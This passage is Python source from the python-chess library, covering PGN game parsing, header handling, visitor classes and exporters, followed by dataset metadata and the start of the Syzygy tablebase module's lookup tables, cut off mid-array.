of a :class:`~chess.Board()`.""" # Setup the initial position. game = cls() game.setup(board.root()) node: GameNode = game # Replay all moves. for move in board.move_stack: node = node.add_variation(move) game.headers["Result"] = board.result() return game @classmethod def without_tag_roster(cls: Type[GameT]) -> GameT: """Creates an empty game without the default Seven Tag Roster.""" return cls(headers={}) @classmethod def builder(cls: Type[GameT]) -> GameBuilder[GameT]: return GameBuilder(Game=cls) def __repr__(self) -> str: return "<{} at {:#x} ({!r} vs. {!r}, {!r} at {!r}{})>".format( type(self).__name__, id(self), self.headers.get("White", "?"), self.headers.get("Black", "?"), self.headers.get("Date", "????.??.??"), self.headers.get("Site", "?"), f", {len(self.errors)} errors" if self.errors else "") HeadersT = TypeVar("HeadersT", bound="Headers") class Headers(MutableMapping[str, str]): def __init__(self, data: Optional[Union[Mapping[str, str], Iterable[Tuple[str, str]]]] = None, **kwargs: str) -> None: self._tag_roster: Dict[str, str] = {} self._others: Dict[str, str] = {} if data is None: data = { "Event": "?", "Site": "?", "Date": "????.??.??", "Round": "?", "White": "?", "Black": "?", "Result": "*" } self.update(data, **kwargs) def is_chess960(self) -> bool: return self.get("Variant", "").lower() in [ "chess960", "chess 960", "fischerandom", # Cute Chess "fischerrandom", "fischer random", ] def is_wild(self) -> bool: # http://www.freechess.org/Help/HelpFiles/wild.html return self.get("Variant", "").lower() in [ "wild/0", "wild/1", "wild/2", "wild/3", "wild/4", "wild/5", "wild/6", "wild/7", "wild/8", "wild/8a"] def variant(self) -> Type[chess.Board]: if "Variant" not in self or self.is_chess960() or self.is_wild(): return chess.Board else: from chess.variant import find_variant return find_variant(self["Variant"]) def board(self) -> chess.Board: VariantBoard = self.variant() fen = self.get("FEN", VariantBoard.starting_fen) board = VariantBoard(fen, chess960=self.is_chess960()) board.chess960 = board.chess960 or board.has_chess960_castling_rights() return board def __setitem__(self, key: str, value: str) -> None: if key in TAG_ROSTER: self._tag_roster[key] = value elif not TAG_NAME_REGEX.match(key): raise ValueError(f"invalid pgn header tag: {key!r}") elif "\n" in value or "\r" in value: raise ValueError(f"line break in pgn header {key}: {value!r}") else: self._others[key] = value def __getitem__(self, key: str) -> str: return self._tag_roster[key] if key in TAG_ROSTER else self._others[key] def __delitem__(self, key: str) -> None: if key in TAG_ROSTER: del self._tag_roster[key] else: del self._others[key] def __iter__(self) -> Iterator[str]: for key in TAG_ROSTER: if key in self._tag_roster: yield key yield from self._others def __len__(self) -> int: return len(self._tag_roster) + len(self._others) def copy(self) -> Self: return type(self)(self) def __copy__(self) -> Self: return self.copy() def __repr__(self) -> str: return "{}({})".format( type(self).__name__, ", ".join("{}={!r}".format(key, value) for key, value in self.items())) @classmethod def builder(cls: Type[HeadersT]) -> HeadersBuilder[HeadersT]: return HeadersBuilder(Headers=cls) MainlineMapT = TypeVar("MainlineMapT") class Mainline(Generic[MainlineMapT]): def __init__(self, start: GameNode, f: Callable[[ChildNode], MainlineMapT]) -> None: self.start = start self.f = f def __bool__(self) -> bool: return bool(self.start.variations) def __iter__(self) -> Iterator[MainlineMapT]: node = self.start while node.variations: node = node.variations[0] yield self.f(node) def __reversed__(self) -> Iterator[MainlineMapT]: node = self.start.end() while node.parent and node != self.start: yield self.f(typing.cast(ChildNode, node)) node = node.parent def accept(self, visitor: BaseVisitor[ResultT]) -> ResultT: node = self.start board = self.start.board() while node.variations: node = node.variations[0] node._accept_node(board, visitor) board.push(node.move) return visitor.result() def __str__(self) -> str: return self.accept(StringExporter(columns=None)) def __repr__(self) -> str: return f"<Mainline at {id(self):#x} ({self.accept(StringExporter(columns=None, comments=False))})>" class BaseVisitor(abc.ABC, Generic[ResultT]): """ Base class for visitors. Use with :func:`chess.pgn.Game.accept()` or :func:`chess.pgn.GameNode.accept()` or :func:`chess.pgn.read_game()`. The methods are called in PGN order. """ def begin_game(self) -> Optional[SkipType]: """Called at the start of a game.""" pass def begin_headers(self) -> Optional[Headers]: """Called before visiting game headers.""" pass def visit_header(self, tagname: str, tagvalue: str) -> None: """Called for each game header.""" pass def end_headers(self) -> Optional[SkipType]: """Called after visiting game headers.""" pass def begin_parse_san(self, board: chess.Board, san: str) -> Optional[SkipType]: """ When the visitor is used by a parser, this is called at the start of each standard algebraic notation detailing a move. """ pass def visit_move(self, board: chess.Board, move: chess.Move) -> None: """ Called for each move. *board* is the board state before the move. The board state must be restored before the traversal continues. """ pass def visit_board(self, board: chess.Board) -> None: """ Called for the starting position of the game and after each move. The board state must be restored before the traversal continues. """ pass def visit_comment(self, comment: list[str]) -> None: """Called for each comment.""" pass def visit_nag(self, nag: int) -> None: """Called for each NAG.""" pass def begin_variation(self) -> Optional[SkipType]: """ Called at the start of a new variation. It is not called for the mainline of the game. """ pass def end_variation(self) -> None: """Concludes a variation.""" pass def visit_result(self, result: str) -> None: """ Called at the end of a game with the value from the ``Result`` header. """ pass def end_game(self) -> None: """Called at the end of a game.""" pass @abc.abstractmethod def result(self) -> ResultT: """Called to get the result of the visitor.""" def handle_error(self, error: Exception) -> None: """Called for encountered errors. Defaults to raising an exception.""" raise error class GameBuilder(BaseVisitor[GameT]): """ Creates a game model. Default visitor for :func:`~chess.pgn.read_game()`. """ @typing.overload def __init__(self: GameBuilder[Game]) -> None: ... @typing.overload def __init__(self, *, Game: Type[GameT]) -> None: ... def __init__(self, *, Game: Any = Game) -> None: self.Game = Game @override def begin_game(self) -> None: self.game: GameT = self.Game() self.variation_stack: List[GameNode] = [self.game] self.starting_comments: list[str] = [] self.in_variation = False @override def begin_headers(self) -> Headers: return self.game.headers @override def visit_header(self, tagname: str, tagvalue: str) -> None: self.game.headers[tagname] = tagvalue @override def visit_nag(self, nag: int) -> None: self.variation_stack[-1].nags.add(nag) @override def begin_variation(self) -> None: parent = self.variation_stack[-1].parent assert parent is not None, "begin_variation called, but root node on top of stack" self.variation_stack.append(parent) self.in_variation = False @override def end_variation(self) -> None: self.variation_stack.pop() @override def visit_result(self, result: str) -> None: if self.game.headers.get("Result", "*") == "*": self.game.headers["Result"] = result @override def visit_comment(self, comment: Union[str, list[str]]) -> None: comments = _standardize_comments(comment) if self.in_variation or (self.variation_stack[-1].parent is None and self.variation_stack[-1].is_end()): # Add as a comment for the current node if in the middle of # a variation. Add as a comment for the game if the comment # starts before any move. self.variation_stack[-1].comments.extend(comments) self.variation_stack[-1].comments = list(filter(None, self.variation_stack[-1].comments)) else: # Otherwise, it is a starting comment. self.starting_comments.extend(comments) self.starting_comments = list(filter(None, self.starting_comments)) @override def visit_move(self, board: chess.Board, move: chess.Move) -> None: self.variation_stack[-1] = self.variation_stack[-1].add_variation(move) self.variation_stack[-1].starting_comments = self.starting_comments self.starting_comments = [] self.in_variation = True @override def handle_error(self, error: Exception) -> None: """ Populates :data:`chess.pgn.Game.errors` with encountered errors and logs them. You can silence the log and handle errors yourself after parsing: >>> import chess.pgn >>> import logging >>> >>> logging.getLogger("chess.pgn").setLevel(logging.CRITICAL) >>> >>> pgn = open("data/pgn/kasparov-deep-blue-1997.pgn") >>> >>> game = chess.pgn.read_game(pgn) >>> game.errors # List of exceptions [] You can also override this method to hook into error handling: >>> import chess.pgn >>> >>> class MyGameBuilder(chess.pgn.GameBuilder): >>> def handle_error(self, error: Exception) -> None: >>> pass # Ignore error >>> >>> pgn = open("data/pgn/kasparov-deep-blue-1997.pgn") >>> >>> game = chess.pgn.read_game(pgn, Visitor=MyGameBuilder) """ LOGGER.error("%s while parsing %r", error, self.game) self.game.errors.append(error) @override def result(self) -> GameT: """ Returns the visited :class:`~chess.pgn.Game()`. """ return self.game class HeadersBuilder(BaseVisitor[HeadersT]): """Collects headers into a dictionary.""" @typing.overload def __init__(self: HeadersBuilder[Headers]) -> None: ... @typing.overload def __init__(self, *, Headers: Type[HeadersT]) -> None: ... def __init__(self, *, Headers: Any = Headers) -> None: self.Headers = Headers @override def begin_headers(self) -> HeadersT: self.headers: HeadersT = self.Headers({}) return self.headers @override def visit_header(self, tagname: str, tagvalue: str) -> None: self.headers[tagname] = tagvalue @override def end_headers(self) -> SkipType: return SKIP @override def result(self) -> HeadersT: return self.headers class BoardBuilder(BaseVisitor[chess.Board]): """ Returns the final position of the game. The mainline of the game is on the move stack. """ @override def begin_game(self) -> None: self.skip_variation_depth = 0 @override def begin_variation(self) -> SkipType: self.skip_variation_depth += 1 return SKIP @override def end_variation(self) -> None: self.skip_variation_depth = max(self.skip_variation_depth - 1, 0) @override def visit_board(self, board: chess.Board) -> None: if not self.skip_variation_depth: self.board = board @override def result(self) -> chess.Board: return self.board class SkipVisitor(BaseVisitor[Literal[True]]): """Skips a game.""" @override def begin_game(self) -> SkipType: return SKIP @override def end_headers(self) -> SkipType: return SKIP @override def begin_variation(self) -> SkipType: return SKIP @override def result(self) -> Literal[True]: return True class StringExporterMixin: def __init__(self, *, columns: Optional[int] = 80, headers: bool = True, comments: bool = True, variations: bool = True): self.columns = columns self.headers = headers self.comments = comments self.variations = variations self.found_headers = False self.force_movenumber = True self.lines: List[str] = [] self.current_line = "" self.variation_depth = 0 def flush_current_line(self) -> None: if self.current_line: self.lines.append(self.current_line.rstrip()) self.current_line = "" def write_token(self, token: str) -> None: if self.columns is not None and self.columns - len(self.current_line) < len(token): self.flush_current_line() self.current_line += token def write_line(self, line: str = "") -> None: self.flush_current_line() self.lines.append(line.rstrip()) def end_game(self) -> None: self.write_line() def begin_headers(self) -> None: self.found_headers = False def visit_header(self, tagname: str, tagvalue: str) -> None: if self.headers: self.found_headers = True self.write_line(f"[{tagname} \"{tagvalue}\"]") def end_headers(self) -> None: if self.found_headers: self.write_line() def begin_variation(self) -> Optional[SkipType]: self.variation_depth += 1 if self.variations: self.write_token("( ") self.force_movenumber = True return None else: return SKIP def end_variation(self) -> None: self.variation_depth -= 1 if self.variations: self.write_token(") ") self.force_movenumber = True def visit_comment(self, comment: Union[str, list[str]]) -> None: if self.comments and (self.variations or not self.variation_depth): def pgn_format(comments: list[str]) -> str: edit = map(lambda s: s.replace("{", "").replace("}", ""), comments) return " ".join(f"{{ {comment} }}" for comment in edit if comment) comments = _standardize_comments(comment) self.write_token(pgn_format(comments) + " ") self.force_movenumber = True def visit_nag(self, nag: int) -> None: if self.comments and (self.variations or not self.variation_depth): self.write_token("$" + str(nag) + " ") def visit_move(self, board: chess.Board, move: chess.Move) -> None: if self.variations or not self.variation_depth: # Write the move number. if board.turn == chess.WHITE: self.write_token(str(board.fullmove_number) + ". ") elif self.force_movenumber: self.write_token(str(board.fullmove_number) + "... ") # Write the SAN. self.write_token(board.san(move) + " ") self.force_movenumber = False def visit_result(self, result: str) -> None: self.write_token(result + " ") class StringExporter(StringExporterMixin, BaseVisitor[str]): """ Allows exporting a game as a string. >>> import chess.pgn >>> >>> game = chess.pgn.Game() >>> >>> exporter = chess.pgn.StringExporter(headers=True, variations=True, comments=True) >>> pgn_string = game.accept(exporter) Only *columns* characters are written per line. If *columns* is ``None``, then the entire movetext will be on a single line. This does not affect header tags and comments. There will be no newline characters at the end of the string. """ @override def result(self) -> str: if self.current_line: return "\n".join(itertools.chain(self.lines, [self.current_line.rstrip()])).rstrip() else: return "\n".join(self.lines).rstrip() def __str__(self) -> str: return self.result() class FileExporter(StringExporterMixin, BaseVisitor[int]): """ Acts like a :class:`~chess.pgn.StringExporter`, but games are written directly into a text file. There will always be a blank line after each game. Handling encodings is up to the caller. >>> import chess.pgn >>> >>> game = chess.pgn.Game() >>> >>> new_pgn = open("/dev/null", "w", encoding="utf-8") >>> exporter = chess.pgn.FileExporter(new_pgn) >>> game.accept(exporter) """ def __init__(self, handle: TextIO, *, columns: Optional[int] = 80, headers: bool = True, comments: bool = True, variations: bool = True): super().__init__(columns=columns, headers=headers, comments=comments, variations=variations) self.handle = handle @override def begin_game(self) -> None: self.written: int = 0 super().begin_game() def flush_current_line(self) -> None: if self.current_line: self.written += self.handle.write(self.current_line.rstrip()) self.written += self.handle.write("\n") self.current_line = "" def write_line(self, line: str = "") -> None: self.flush_current_line() self.written += self.handle.write(line.rstrip()) self.written += self.handle.write("\n") @override def result(self) -> int: return self.written def __repr__(self) -> str: return f"<FileExporter at {id(self):#x}>" def __str__(self) -> str: return self.__repr__() @typing.overload def read_game(handle: TextIO) -> Optional[Game]: ... @typing.overload def read_game(handle: TextIO, *, Visitor: Callable[[], BaseVisitor[ResultT]]) -> Optional[ResultT]: ... def read_game(handle: TextIO, *, Visitor: Any = GameBuilder) -> Any: """ Reads a game from a file opened in text mode. >>> import chess.pgn >>> >>> pgn = open("data/pgn/kasparov-deep-blue-1997.pgn") >>> >>> first_game = chess.pgn.read_game(pgn) >>> second_game = chess.pgn.read_game(pgn) >>> >>> first_game.headers["Event"] 'IBM Man-Machine, New York USA' >>> >>> # Iterate through all moves and play them on a board. >>> board = first_game.board() >>> for move in first_game.mainline_moves(): ... board.push(move) ... >>> board Board('4r3/6P1/2p2P1k/1p6/pP2p1R1/P1B5/2P2K2/3r4 b - - 0 45') By using text mode, the parser does not need to handle encodings. It is the caller's responsibility to open the file with the correct encoding. PGN files are usually ASCII or UTF-8 encoded, sometimes with BOM (which this parser automatically ignores). See :func:`open` for options to deal with encoding errors. >>> pgn = open("data/pgn/kasparov-deep-blue-1997.pgn", encoding="utf-8") Use :class:`~io.StringIO` to parse games from a string. >>> import io >>> >>> pgn = io.StringIO("1. e4 e5 2. Nf3 *") >>> game = chess.pgn.read_game(pgn) The end of a game is determined by a completely blank line or the end of the file. (Of course, blank lines in comments are possible). According to the PGN standard, at least the usual seven header tags are required for a valid game. This parser also handles games without any headers just fine. The parser is relatively forgiving when it comes to errors. It skips over tokens it can not parse. By default, any exceptions are logged and collected in :data:`Game.errors <chess.pgn.Game.errors>`. This behavior can be :func:`overridden <chess.pgn.GameBuilder.handle_error>`. Returns the parsed game or ``None`` if the end of file is reached. """ visitor = Visitor() found_game = False skipping_game = False managed_headers: Optional[Headers] = None unmanaged_headers: Optional[Headers] = None board_stack: List[chess.Board] = [] # Ignore leading empty lines and comments. line = handle.readline().lstrip("\ufeff") while line.isspace() or line.startswith("%") or line.startswith(";"): line = handle.readline() # Parse game headers. consecutive_empty_lines = 0 while line: # Ignore comments. if line.startswith("%") or line.startswith(";"): line = handle.readline() continue # Ignore up to one consecutive empty line between headers. if consecutive_empty_lines < 1 and line.isspace(): consecutive_empty_lines += 1 line = handle.readline() continue # First token of the game. if not found_game: found_game = True skipping_game = visitor.begin_game() is SKIP if not skipping_game: managed_headers = visitor.begin_headers() if not isinstance(managed_headers, Headers): unmanaged_headers = Headers({}) if not line.startswith("["): break consecutive_empty_lines = 0 if not skipping_game: tag_match = TAG_REGEX.match(line) if tag_match: visitor.visit_header(tag_match.group(1), tag_match.group(2)) if unmanaged_headers is not None: unmanaged_headers[tag_match.group(1)] = tag_match.group(2) else: # Ignore invalid or malformed headers. line = handle.readline() continue line = handle.readline() if not found_game: return None if not skipping_game: skipping_game = visitor.end_headers() is SKIP if not skipping_game: # Chess variant. headers = managed_headers if unmanaged_headers is None else unmanaged_headers assert headers is not None, "got neither managed nor unmanaged headers" try: VariantBoard = headers.variant() except ValueError as error: visitor.handle_error(error) VariantBoard = chess.Board # Initial position. fen = headers.get("FEN", VariantBoard.starting_fen) try: board = VariantBoard(fen, chess960=headers.is_chess960()) except ValueError as error: visitor.handle_error(error) skipping_game = True else: board.chess960 = board.chess960 or board.has_chess960_castling_rights() board_stack = [board] visitor.visit_board(board) # Fast path: Skip entire game. if skipping_game: in_comment = False while line: if not in_comment: if line.isspace(): break elif line.startswith("%"): line = handle.readline() continue for match in SKIP_MOVETEXT_REGEX.finditer(line): token = match.group(0) if token == "{": in_comment = True elif not in_comment and token == ";": break elif token == "}": in_comment = False line = handle.readline() visitor.end_game() return visitor.result() # Parse movetext. skip_variation_depth = 0 fresh_line = True while line: if fresh_line: # Ignore comments. if line.startswith("%") or line.startswith(";"): line = handle.readline() continue # An empty line means the end of a game. if line.isspace(): visitor.end_game() return visitor.result() fresh_line = True for match in MOVETEXT_REGEX.finditer(line): token = match.group(0) if token.startswith("{"): # Consume until the end of the comment. start_index = 2 if token.startswith("{ ") else 1 line = token[start_index:] comment_lines = [] while line and "}" not in line: comment_lines.append(line) line = handle.readline() if line: close_index = line.find("}") end_index = close_index - 1 if close_index > 0 and line[close_index - 1] == " " else close_index comment_lines.append(line[:end_index]) line = line[close_index + 1:] if not skip_variation_depth: visitor.visit_comment("".join(comment_lines)) # Continue with the current line. fresh_line = False break elif token == "(": if skip_variation_depth: skip_variation_depth += 1 elif board_stack[-1].move_stack: if visitor.begin_variation() is SKIP: skip_variation_depth = 1 else: board = board_stack[-1].copy() board.pop() board_stack.append(board) elif token == ")": if skip_variation_depth == 1: skip_variation_depth = 0 visitor.end_variation() elif skip_variation_depth: skip_variation_depth -= 1 elif len(board_stack) > 1: visitor.end_variation() board_stack.pop() elif skip_variation_depth: continue elif token.startswith(";"): break elif token.startswith("$"): # Found a NAG. visitor.visit_nag(int(token[1:])) elif token == "?": visitor.visit_nag(NAG_MISTAKE) elif token == "??": visitor.visit_nag(NAG_BLUNDER) elif token == "!": visitor.visit_nag(NAG_GOOD_MOVE) elif token == "!!": visitor.visit_nag(NAG_BRILLIANT_MOVE) elif token == "!?": visitor.visit_nag(NAG_SPECULATIVE_MOVE) elif token == "?!": visitor.visit_nag(NAG_DUBIOUS_MOVE) elif token in ["1-0", "0-1", "1/2-1/2", "*"] and len(board_stack) == 1: visitor.visit_result(token) else: # Parse SAN tokens. if visitor.begin_parse_san(board_stack[-1], token) is not SKIP: try: move = board_stack[-1].parse_san(token) except ValueError as error: visitor.handle_error(error) skip_variation_depth = 1 else: visitor.visit_move(board_stack[-1], move) board_stack[-1].push(move) visitor.visit_board(board_stack[-1]) if fresh_line: line = handle.readline() visitor.end_game() return visitor.result() def read_headers(handle: TextIO) -> Optional[Headers]: """ Reads game headers from a PGN file opened in text mode. Skips the rest of the game. Since actually parsing many games from a big file is relatively expensive, this is a better way to look only for specific games and then seek and parse them later. This example scans for the first game with Kasparov as the white player. >>> import chess.pgn >>> >>> pgn = open("data/pgn/kasparov-deep-blue-1997.pgn") >>> >>> kasparov_offsets = [] >>> >>> while True: ... offset = pgn.tell() ... ... headers = chess.pgn.read_headers(pgn) ... if headers is None: ... break ... ... if "Kasparov" in headers.get("White", "?"): ... kasparov_offsets.append(offset) Then it can later be seeked and parsed. >>> for offset in kasparov_offsets: ... pgn.seek(offset) ... chess.pgn.read_game(pgn) # doctest: +ELLIPSIS 0 <Game at ... ('Garry Kasparov' vs. 'Deep Blue (Computer)', 1997.??.??)> 1436 <Game at ... ('Garry Kasparov' vs. 'Deep Blue (Computer)', 1997.??.??)> 3067 <Game at ... ('Garry Kasparov' vs. 'Deep Blue (Computer)', 1997.??.??)> """ return read_game(handle, Visitor=HeadersBuilder) def skip_game(handle: TextIO) -> bool: """ Skips a game. Returns ``True`` if a game was found and skipped. """ return bool(read_game(handle, Visitor=SkipVisitor)) def parse_time_control(time_control: str) -> TimeControl: tc = TimeControl() if not time_control: return tc if time_control.startswith("?"): return tc if time_control.startswith("-"): tc.type = TimeControlType.UNLIMITED return tc def _parse_part(part: str) -> TimeControlPart: tcp = TimeControlPart() moves_time, *bonus = part.split("+") if bonus: _bonus = bonus[0] if _bonus.lower().endswith("d"): tcp.delay = float(_bonus[:-1]) else: tcp.increment = float(_bonus) moves, *time = moves_time.split("/") if time: tcp.moves = int(moves) tcp.time = int(time[0]) else: tcp.moves = 0 tcp.time = int(moves) return tcp tc.parts = [_parse_part(part) for part in time_control.split(":")] if len(tc.parts) > 1: for part in tc.parts[:-1]: if part.moves == 0: raise ValueError("Only last part can be 'sudden death'.") # Classification according to https://www.fide.com/FIDE/handbook/LawsOfChess.pdf # (Bullet added) base_time = tc.parts[0].time increment = tc.parts[0].increment if (base_time + 60 * increment) < 3 * 60: tc.type = TimeControlType.BULLET elif (base_time + 60 * increment) < 15 * 60: tc.type = TimeControlType.BLITZ elif (base_time + 60 * increment) < 60 * 60: tc.type = TimeControlType.RAPID else: tc.type = TimeControlType.STANDARD return tc
61,261
Python
.py
1,520
31.255263
179
0.584033
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,419
syzygy.py
niklasf_python-chess/chess/syzygy.py
from __future__ import annotations import collections import math import mmap import os import re import struct import threading import typing import chess from types import TracebackType from typing import Deque, Dict, Iterable, Iterator, List, Optional, Set, Tuple, Type, TypeVar, Union if typing.TYPE_CHECKING: from typing_extensions import Self UINT64_BE = struct.Struct(">Q") UINT32 = struct.Struct("<I") UINT32_BE = struct.Struct(">I") UINT16 = struct.Struct("<H") TBPIECES = 7 TRIANGLE = [ 6, 0, 1, 2, 2, 1, 0, 6, 0, 7, 3, 4, 4, 3, 7, 0, 1, 3, 8, 5, 5, 8, 3, 1, 2, 4, 5, 9, 9, 5, 4, 2, 2, 4, 5, 9, 9, 5, 4, 2, 1, 3, 8, 5, 5, 8, 3, 1, 0, 7, 3, 4, 4, 3, 7, 0, 6, 0, 1, 2, 2, 1, 0, 6, ] INVTRIANGLE = [1, 2, 3, 10, 11, 19, 0, 9, 18, 27] def offdiag(square: chess.Square) -> int: return chess.square_rank(square) - chess.square_file(square) def flipdiag(square: chess.Square) -> chess.Square: return ((square >> 3) | (square << 3)) & 63 LOWER = [ 28, 0, 1, 2, 3, 4, 5, 6, 0, 29, 7, 8, 9, 10, 11, 12, 1, 7, 30, 13, 14, 15, 16, 17, 2, 8, 13, 31, 18, 19, 20, 21, 3, 9, 14, 18, 32, 22, 23, 24, 4, 10, 15, 19, 22, 33, 25, 26, 5, 11, 16, 20, 23, 25, 34, 27, 6, 12, 17, 21, 24, 26, 27, 35, ] DIAG = [ 0, 0, 0, 0, 0, 0, 0, 8, 0, 1, 0, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 10, 0, 0, 0, 0, 0, 3, 11, 0, 0, 0, 0, 0, 0, 12, 4, 0, 0, 0, 0, 0, 13, 0, 0, 5, 0, 0, 0, 14, 0, 0, 0, 0, 6, 0, 15, 0, 0, 0, 0, 0, 0, 7, ] FLAP = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 12, 18, 18, 12, 6, 0, 1, 7, 13, 19, 19, 13, 7, 1, 2, 8, 14, 20, 20, 14, 8, 2, 3, 9, 15, 21, 21, 15, 9, 3, 4, 10, 16, 22, 22, 16, 10, 4, 5, 11, 17, 23, 23, 17, 11, 5, 0, 0, 0, 0, 0, 0, 0, 0, ] PTWIST = [ 0, 0, 0, 0, 0, 0, 0, 0, 47, 35, 23, 11, 10, 22, 34, 46, 45, 33, 21, 9, 8, 20, 32, 44, 43, 31, 19, 7, 6, 18, 30, 42, 41, 29, 17, 5, 4, 16, 28, 40, 39, 27, 15, 3, 2, 14, 26, 38, 37, 25, 13, 1, 0, 12, 24, 36, 0, 0, 0, 0, 0, 0, 0, 0, ] INVFLAP = [ 8, 16, 24, 32, 40, 48, 9, 17, 25, 33, 41, 49, 10, 18, 26, 34, 42, 50, 11, 19, 27, 35, 43, 51, ] FILE_TO_FILE = [0, 1, 2, 3, 3, 2, 1, 0] KK_IDX = [[ -1, -1, -1, 0, 1, 2, 3, 4, -1, -1, -1, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, ], [ 58, -1, -1, -1, 59, 60, 61, 62, 63, -1, -1, -1, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, ], [ 116, 117, -1, -1, -1, 118, 119, 120, 121, 122, -1, -1, -1, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, ], [ 174, -1, -1, -1, 175, 176, 177, 178, 179, -1, -1, -1, 180, 181, 182, 183, 184, -1, -1, -1, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, ], [ 229, 230, -1, -1, -1, 231, 232, 233, 234, 235, -1, -1, -1, 236, 237, 238, 239, 240, -1, -1, -1, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, ], [ 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, -1, -1, -1, 294, 295, 296, 297, 298, -1, -1, -1, 299, 300, 301, 302, 303, -1, -1, -1, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, ], [ -1, -1, 339, 340, 341, 342, 343, 344, -1, -1, 345, 346, 347, 348, 349, 350, -1, -1, 441, 351, 352, 353, 354, 355, -1, -1, -1, 442, 356, 357, 358, 359, -1, -1, -1, -1, 443, 360, 361, 362, -1, -1, -1, -1, -1, 444, 363, 364, -1, -1, -1, -1, -1, -1, 445, 365, -1, -1, -1, -1, -1, -1, -1, 446, ], [ -1, -1, -1, 366, 367, 368, 369, 370, -1, -1, -1, 371, 372, 373, 374, 375, -1, -1, -1, 376, 377, 378, 379, 380, -1, -1, -1, 447, 381, 382, 383, 384, -1, -1, -1, -1, 448, 385, 386, 387, -1, -1, -1, -1, -1, 449, 388, 389, -1, -1, -1, -1, -1, -1, 450, 390, -1, -1, -1, -1, -1, -1, -1, 451, ], [ 452, 391, 392, 393, 394, 395, 396, 397, -1, -1, -1, -1, 398, 399, 400, 401, -1, -1, -1, -1, 402, 403, 404, 405, -1, -1, -1, -1, 406, 407, 408, 409, -1, -1, -1, -1, 453, 410, 411, 412, -1, -1, -1, -1, -1, 454, 413, 414, -1, -1, -1, -1, -1, -1, 455, 415, -1, -1, -1, -1, -1, -1, -1, 456, ], [ 457, 416, 417, 418, 419, 420, 421, 422, -1, 458, 423, 424, 425, 426, 427, 428, -1, -1, -1, -1, -1, 429, 430, 431, -1, -1, -1, -1, -1, 432, 433, 434, -1, -1, -1, -1, -1, 435, 436, 437, -1, -1, -1, -1, -1, 459, 438, 439, -1, -1, -1, -1, -1, -1, 460, 440, -1, -1, -1, -1, -1, -1, -1, 461, ]] PP_IDX = [[ 0, -1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, -1, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, ], [ 62, -1, -1, 63, 64, 65, -1, 66, -1, 67, 68, 69, 70, 71, 72, -1, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, -1, 97, 98, 99, 100, 101, 102, 103, -1, 104, 105, 106, 107, 108, 109, -1, 110, -1, 111, 112, 113, 114, -1, 115, ], [ 116, -1, -1, -1, 117, -1, -1, 118, -1, 119, 120, 121, 122, 123, 124, -1, -1, 125, 126, 127, 128, 129, 130, -1, 131, 132, 133, 134, 135, 136, 137, 138, -1, 139, 140, 141, 142, 143, 144, 145, -1, 146, 147, 148, 149, 150, 151, -1, -1, 152, 153, 154, 155, 156, 157, -1, 158, -1, -1, 159, 160, -1, -1, 161, ], [ 162, -1, -1, -1, -1, -1, -1, 163, -1, 164, -1, 165, 166, 167, 168, -1, -1, 169, 170, 171, 172, 173, 174, -1, -1, 175, 176, 177, 178, 179, 180, -1, -1, 181, 182, 183, 184, 185, 186, -1, -1, -1, 187, 188, 189, 190, 191, -1, -1, 192, 193, 194, 195, 196, 197, -1, 198, -1, -1, -1, -1, -1, -1, 199, ], [ 200, -1, -1, -1, -1, -1, -1, 201, -1, 202, -1, -1, 203, -1, 204, -1, -1, -1, 205, 206, 207, 208, -1, -1, -1, 209, 210, 211, 212, 213, 214, -1, -1, -1, 215, 216, 217, 218, 219, -1, -1, -1, 220, 221, 222, 223, -1, -1, -1, 224, -1, 225, 226, -1, 227, -1, 228, -1, -1, -1, -1, -1, -1, 229, ], [ 230, -1, -1, -1, -1, -1, -1, 231, -1, 232, -1, -1, -1, -1, 233, -1, -1, -1, 234, -1, 235, 236, -1, -1, -1, -1, 237, 238, 239, 240, -1, -1, -1, -1, -1, 241, 242, 243, -1, -1, -1, -1, 244, 245, 246, 247, -1, -1, -1, 248, -1, -1, -1, -1, 249, -1, 250, -1, -1, -1, -1, -1, -1, 251, ], [ -1, -1, -1, -1, -1, -1, -1, 259, -1, 252, -1, -1, -1, -1, 260, -1, -1, -1, 253, -1, -1, 261, -1, -1, -1, -1, -1, 254, 262, -1, -1, -1, -1, -1, -1, -1, 255, -1, -1, -1, -1, -1, -1, -1, -1, 256, -1, -1, -1, -1, -1, -1, -1, -1, 257, -1, -1, -1, -1, -1, 